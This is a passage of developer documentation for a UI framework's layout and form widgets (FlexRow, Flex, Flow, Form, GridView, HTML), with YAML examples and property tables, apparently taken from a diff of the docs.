| Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | - -#### Box Styles (Inherited) - -[box](_snippets/box-styles.md ':include') - - -#### Base Styles (Inherited) - -[base](_snippets/base-styles.md ':include') - ---- - -# FlexRow - -FlexRow is designed to lay out child widgets horizontally and proportionally from the available space given by its parent. By default, flexRow assigns equal space to each child (`flex=1`), but this can be customized to accommodate various design requirements. - -## Best Practices -- Use FlexRow when you need a horizontal layout with proportional space distribution among the children. -- **Avoid** using FlexRow in a scrollable parent, such as scrollable Row, without a fixed width, as it will lead to layout issues. FlexRow and its children need to be constrained to a definite size to properly calculate the flex distribution. -- **Avoid** using FlexRow in another Row. Row does not constrain its children's dimensions, which FlexRow requires to calculate the flex distribution. Instead consider giving the FlexRow a width or use all FlexRow(s) up the parent chain. - -## Key Concepts - -- **flex**: Determines the space a child widget occupies relative to its siblings. By default, all children in a FlexRow have a flex value of 1 unless specified. -- **flexMode**: Dictates how a child widget uses its allocated space. It can be set to the below:. - - `expanded`: The child will attempt to fill its allocated space based on the flex factor (this is the default). - - `flexible`: The child occupies only the space it needs, up to its flex factor. - - `none`: The child occupies the space it needs (flex factor is ignored). -- When laying out its children, FlexRow follows this specific order: - - 1. Widgets with flexMode marked as `none` will be laid out first and receive all the space they need. Use caution as this can overflow the parent's available spaces (use 'flexible' is probably sufficient most of the time). - - 2. Widgets marked as `flexible` are laid out next. They're allowed to occupy space up to their flex factor but can be smaller if they don't require all the space. This is useful for widgets that can size themselves according to their content but should be limited to a specific portion of the available space. - - 3. The remaining space is then divided among `expanded` widgets according to their flex factors. These widgets are stretched to fill the allocated space, ensuring that all available space is used. - -## Caveats -- **Row height**: Note that setting a height for a FlexRow acts more like a maximum height constraint. The FlexRow determines its actual height based on the tallest child, aligning the other children along the vertical cross-axis according to this height. This means if this actual height is less than the specified height, the `crossAxis` only affects the alignment of the children within the determined (lesser) height. - If you wish to stretch all the children to the same specified height, add `crossAxis: stretch` in addition to the fixed height. - -## Usage - -A simple FlexRow with three child widgets, each taking up equal space (all have flex=1 by default): - -```yaml -FlexRow: - children: - - Text: - text: Child 1 - - Text: - text: Child 2 - - Text: - text: Child 3 -``` - -Assigning different flex values to children to control their space distribution. In the example below, "Child 2" will occupy twice the space of "Child 1" and "Child 3": - -```yaml -FlexRow: - children: - - Text: - text: Child 1 # default flex=1 since not specified - - Text: - text: Child 2 - styles: - flex: 2 - - Text: - text: Child 3 - styles: - flex: 1 -``` - -Adjusting FlexMode to control how children occupy their allocated space. In the example below, "Flexible Child" will be laid out with the size it needs, up to a 1/3 of the available space. "Expanded Child" will be laid out next, occupy the rest of the available space, but not smaller than 2/3 of the available space (since Flexible can only grow to 1/3 max, and all available spaces will be used): - -```yaml -FlexRow: - children: - - Text: - text: Flexible Child - styles: - flexMode: flexible - - Text: - text: Expanded Child - styles: - flex: 2 - flexMode: expanded - -``` - -## Related -- See [FlexColumn](#flexcolumn) for a similar layout in the vertical direction. -- See [Row](#column-widget) for a more generic and scrollable container for laying out children horizontally. - -## Reference -#### Properties - -| Property | Type | Description | -|----------------------------------|----------------------------------------|----------------------------------------------------------| -| children | [Widget[]](widgets/directory) | An array of child widgets to be laid out in the column. | -| onTap | Action | An action that is triggered when the widget is tapped. | -| onTapHaptic | TapHaptic | The type of haptic feedback to be triggered on tap. | -| styles | object | [See properties](#styles) | - -#### Styles - -| Style Property | Type | Description | -|-----------------------------------|------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------| -| mainAxis | string | Alignment of children along the main axis (vertical). Options: `start`, `end`, `center`, `spaceBetween`, `spaceAround`, `spaceEvenly`. | -| crossAxis | string | Alignment of children along the cross axis (horizontal). Options: `start`, `end`, `center`, `stretch`, `baseline`. | -| mainAxisSize | MainAxisSize | How to size the container along the main axis. | -| gap` | integer | The gap between child widgets, in logical pixels. | -| fontFamily | string | The font family to use for text within the widget. | -| fontSize | integer | The size of the font to use for text within the widget. | -| width | integer | The width of the widget, in logical pixels. | -| height | integer | The height of the widget, in logical pixels. | -| clipContent | boolean | Whether to clip the widget's content. Useful for preventing overflow. | -| boxShadow | BoxShadow | Shadow properties for the widget. | -| borderRadius | BorderRadius | The radius of the widget's corners. | -| borderColor | [Color](#Color) | The color of the widget's border. | -| borderWidth | integer | The width of the widget's border, in logical pixels. | -| backgroundColor | [Color](#Color) | The widget's background color. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Overlay an image on the background of this widget | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| padding | Padding | Padding inside the widget, affecting its child widgets. | -| margin | Margin | Margin outside the widget, affecting its position relative to others. | -| flex | integer | Applicable only inside FlexRow or flexRow. Determines the space allocated to this widget relative to its siblings. | -| flexMode | FlexMode | Determines how the widget should occupy the space allocated to it by the `flex` property. | -| visible | boolean | Toggles the widget's visibility. An invisible widget will not occupy UI space unless `visibilityTransitionDuration` is specified. | -| visibilityTransitionDuration | number | The duration in seconds for a widget to animate between visible and invisible states. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this widget relative to its parent. This affects the size of the shadow displayed. | -| elevationShadowColor | [Color](#Color) | The shadow color for the elevation. | -| elevationBorderRadius | BorderRadius | Should match the widget's `borderRadius` if set, to ensure the shadow properly matches the widget's border radius. | -| alignment | Alignment | Aligns this widget relative to its parent. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the parent Stack. Only applicable for Stack's children. | -| stackPositionBottom | integer | The distance of the child's bottom edge from the bottom of the parent Stack. Only applicable for Stack's children. | -| stackPositionLeft | integer | The distance of the child's left edge from the left of the parent Stack. Only applicable for Stack's children. | -| stackPositionRight | integer | The distance of the child's right edge from the right of the parent Stack. Only applicable for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. Ensures mouse clicks are captured by the widget, useful for overlaying widgets on certain HTML containers. | - -#### Box Styles (Inherited) - -[box](_snippets/box-styles.md ':include') - - -#### Base Styles (Inherited) - -[base](_snippets/base-styles.md ':include') - ---- - -# Flex - -The Flex Widget is a versatile layout option that dynamically switches between Row or Column based on the direction property, offering flexible and responsive designs that adapt to different screen sizes. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/R3KgxV3UPWb4TjoiPI0U) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :------------------------------- | -| children | array | List of widgets | -| styles | object | [See properties](#styles) | -| item-template | object | [See properties](#item-template) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| direction | string | Lay out the children vertically or horizontally | -| mainAxis | string | Control how to lay out the children, in the direction specified by the 'direction' attribute. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | -| crossAxis | string | Control the alignment of the children on the secondary axis (depending on the 'direction' attribute). `start` `center` `end` `stretch` `baseline` | -| mainAxisSize | string | If 'max', stretch the Flex to fill its parent's dimension (width or height based on the direction). Otherwise (min) the Flex's dimension will be its children's combined. | -| scrollable | boolean | Set to true so content can scroll vertically or horizontally as needed | -| autoFit | boolean | Explicitly match the width or height to the largest child's size, but only if the parent does not already assign a width or height. This attribute is useful for sizing children who don't have a width or height (e.g Divider) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# Flow - -The Flow Widget is a container that wraps its children, with a default horizontal direction that can be customized to vertical, allowing for flexible and fluid layouts within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/3e901fb8-a0e8-4f52-979b-7f5f2547e650) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :--------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of widgets | -| direction | string | The main direction to lay out the children before wrapping | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| mainAxis | string | Control our children's layout vertically | -| gap | integer | The gap between the children in the main direction | -| lineGap | integer | The gap between the lines if the children start wrapping | -| maxWidth | integer | Sets the maximum width allowed for an element. | -| maxHeight | integer | Sets the maximum height allowed for an element. | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | - ---- - -# Form widget - -Form is a wrapper widget for inputs such as TextInput, Dropdown, Checkbox, etc. Form enables you to perform validation and styling on inputs inside the Form. - -[Detailed Example of validating/submitting a Form from inside a form or outside](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) - -### Validate and Submit - -#### Submit a Form from a Button inside a Form -To trigger validation of a Form's children inputs, add a Button widget with the property of `validateForm: true`. In this example, following validations will be performed when the submit button is pressed. If `validateForm: true`, Form will be submitted only if validation passes. - -```yaml -View: - body: - Form: - onSubmit: - invokeAPI: - name: addAccount - inputs: - name: ${name.value} - email: ${email.value} - onResponse: - # perform additional action here - onError: - # perform additional action here - children: - - TextInput: - id: name - label: First and last name - required: true - - TextInput: - id: email - label: Email - required: true - inputType: email - - Button: - label: Submit - validateForm: true - submitForm: true - -API: - addAccount: - inputs: - - name - - email - method: POST - uri: https://sample.api/user - body: - name: ${name} - email: ${email} -``` -#### Validate or Submit a Form from outside the Form -Detailed Example [here](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/fIZkgKM25hNHtI0q5wZF) This examples shows how to validate/submit a form from a sticky button in the footer. This is a common pattern in mobile apps. - -By default, when `Form.submit()` is called, it first called `Form.validate()` and calls submit only if the validation succeeds (i.e. all form fields are in valid state. - -Following is a snippet from the example above - -```yaml - footer: - styles: - backgroundColor: white - children: - - Button: - styles: - backgroundColor: black - borderRadius: 40 - padding: 20 - label: Submit - onTap: |- - basicForm.validate(); - complexForm.submit(); -``` - -### Styling - -You can control the styling of inputs' label at the Form level, by setting `labelPosition`, `labelMaxWidth`, and `labelOverflow` properties under Form's style. - -Use `labelStyle` to control the detailed styling of all the labels. Note that an Input widget's own labelStyle will take precedence over the Form's labelStyle. - -```yaml -View: - body: - Form: - styles: - labelPosition: start - labelMaxWidth: 100 - labelOverflow: clip - # all labels will have a bolder weight - labelStyle: - fontWeight: w600 - children: - - TextInput: - label: Name - required: true - - TextInput: - label: email - required: true - inputType: email - styles: - # setting this will ignore the Form's labelStyle - labelStyle: - color: red - - Button: - label: Submit - validateForm: true -``` - -## Properties - -| Property | Type | Description | -| :------- | :------ | :------------------------------------------------------------------------ | -| enabled | boolean | Enables or disables the interactivity and input functionality of the Form | -| onSubmit | action | Action to execute when the form is submitted | -| children | array | List of widgets | -| styles | object | [see properties](#styles) | - -## Styles - -| Property | Type | Description | -|:--------------|:-----------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------| -| labelPosition | string | Where the position the FormField's label `top` `start` `none` | -| labelOverflow | string | Treatment of text longer than available space `wrap` `visible` `clip` `ellipsis` | -| labelMaxWidth | integer | Cap the label's width, useful on larger screen. This property only works on labelPosition=start. | -| labelStyle | [TextStyle](#TextStyle) | Styling for the label | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| gap | integer | Vertical gap to insert between the children (default is 10) | - -## Methods - -| Function | Return Type | Description | -|:-----------|:------------|:-------------------------------------------------------------------------------------------------------| -| validate() | boolean | validates each formfield inside the Form. Returns true if all the fields are valid and false otherwise | -| submit() | none | submits the form | - ---- - -# GridView - -The GridView Widget empowers you to render grid-based layouts, enabling the display of content in a structured and organized manner with customizable grid configurations within your application. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/DX5j2WVQFabmxD9FCD5h) - -## Properties - -| Property | Type | Description | -| :------------ | :----- | :-------------------------------------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| onItemTap | action | Call Ensemble's built-in functions or execute code when tapping on an item in the list. The index of the item can be retrieved using 'selectedItemIndex'. You can access as this.selectedItemIndex. See example linked above | -| onItemTapHaptic | enum | The type of haptic to perform when item is pressed. It should be one of heavyImpact, mediumImpact, lightImpact, selectionClick, and vibrate | -| styles | object | [See properties](#styles) | - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | | The widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| horizontalTileCount | | The number of horizontal tiles (max 5) to show. If not specified, the number of tiles will automatically be determined by the screen size. You may also specify a single number (for all breakpoints), three numbers (for small, medium, large breakpoints), or five numbers (xSmall, small, medium, large, xLarge). | -| horizontalGap | integer | The gap between the horizontal tiles if there are more than one (default: 10). | -| verticalGap | integer | The gap between the vertical tiles if there are more than one (default: 10). | -| itemHeight | integer | Set a fixed height for each item in the tile. If each tile item comprises of many widgets vertically, setting this attribute may require you to stretch (expand) at least one inner widget. | -| itemAspectRatio | number | Instead of itemHeight, you can set the tile's dimension as a ratio of (item width / item height). For example, a tile with 3x width and 2x height is 3/2 = 1.5. This attribute will be ignored if itemHeight is set. | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - ---- - -# HTML widget - -The HTML Render Widget enables seamless rendering of HTML code within your application, providing a dynamic and interactive experience for users. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/ZhTBody9YozadVvTlhW0) - -## Properties - -| Property | Type | Description | -| :------- | :----- | :------------------ | -| text | string | Enter the HTML text | -| cssStyles | List of [cssStyle](#cssStyle) | Enter the CSS to interact with HTML | - -### cssStyle - -| Property | Type | Description | -| :------- | :----- | :------------------ | -| selector | String | Equivalent to the CSS selector. To select any given tag using either tag name, class name or id of that tag | -| properties | [properties](#properties) | The css properties to apply to a selected tag. | - -### properties - -| Property | Type | Description | -| :--------------------- | :------------ | :------------------------------------------------ | -| backgroundColor | string | Sets the background color of an element. Useful for emphasizing or styling page sections. | -| color | string | Defines the text color within an element, impacting readability and visual hierarchy. | -| counterIncrement | string | Specifies the increment value for counters, facilitating dynamic list numbering or tracking. | -| counterReset | string | Determines the reset value for counters, useful for restarting or initializing counting sequences. | -| direction | string | Sets the text direction, crucial for proper alignment in multilingual content. | -| display | string | Specifies the box model used for an element, influencing its layout and rendering behavior. | -| fontFamily | string | Defines the font family for text, allowing customization of the typeface for stylistic or thematic consistency. | -| fontFeatureSettings | string | Enables advanced typographic features in fonts, providing fine control over ligatures and stylistic elements. | -| fontSize | string | Sets the font size within an element, influencing the overall visual hierarchy and readability of content. | -| fontStyle | string | Specifies the style of the font, such as italic or normal, contributing to the visual emphasis of displayed text. | -| fontWeight | string | Sets the thickness of characters within a text element, allowing for varied emphasis and hierarchy in content. | -| height | string | Defines the height of an element, offering control over vertical dimensions and aspect ratios. | -| letterSpacing | string | Adjusts the spacing between characters in text, providing fine-tuned control over readability and aesthetics. | -| listStyleImage | string | Sets an image as the list-item marker, allowing customization of list styles with distinctive visual markers. | -| listStyleType | string | Defines the type of marker or style for list items, contributing to the overall appearance and theme of content lists. | -| listStylePosition | string | Sets the position of the list-item marker, influencing its placement in relation to list item content and surroundings. | -| margin | string | Sets the margin outside an element's border, controlling spacing between the element and its neighboring elements. | -| padding | string | Defines the padding inside an element's border, ensuring space between the element's content and its border. | -| textAlign | string | Aligns text within an element, controlling horizontal positioning such as left-aligned, center-aligned, or right-aligned.| -| textDecoration | string | Adds decoration to text, like underline or overline, enhancing visual appeal or conveying additional information. | -| textDecorationColor | string | Sets the color of the text decoration, allowing coordination with the document's color scheme. | -| textDecorationStyle | string | Defines the style of the text decoration, influencing its visual appearance with options like solid, dashed, or dotted lines.| -| textDecorationThickness| string | Specifies the thickness of the text decoration, providing control over its visual prominence. | -| textOverflow | string | Defines how text content that overflows its container should be handled, indicating options like ellipsis or clip. | -| textShadow | string | Adds a shadow to text for emphasis, enhancing legibility and visual impact of text elements within a design or layout. | -| textTransform | string | Controls the capitalization of text, allowing options like uppercase or lowercase to achieve stylistic preferences. | -| verticalAlign | string | Aligns the vertical positioning of inline elements, ensuring proper alignment in relation to surrounding content. | -| whiteSpace | string | Controls handling of white space 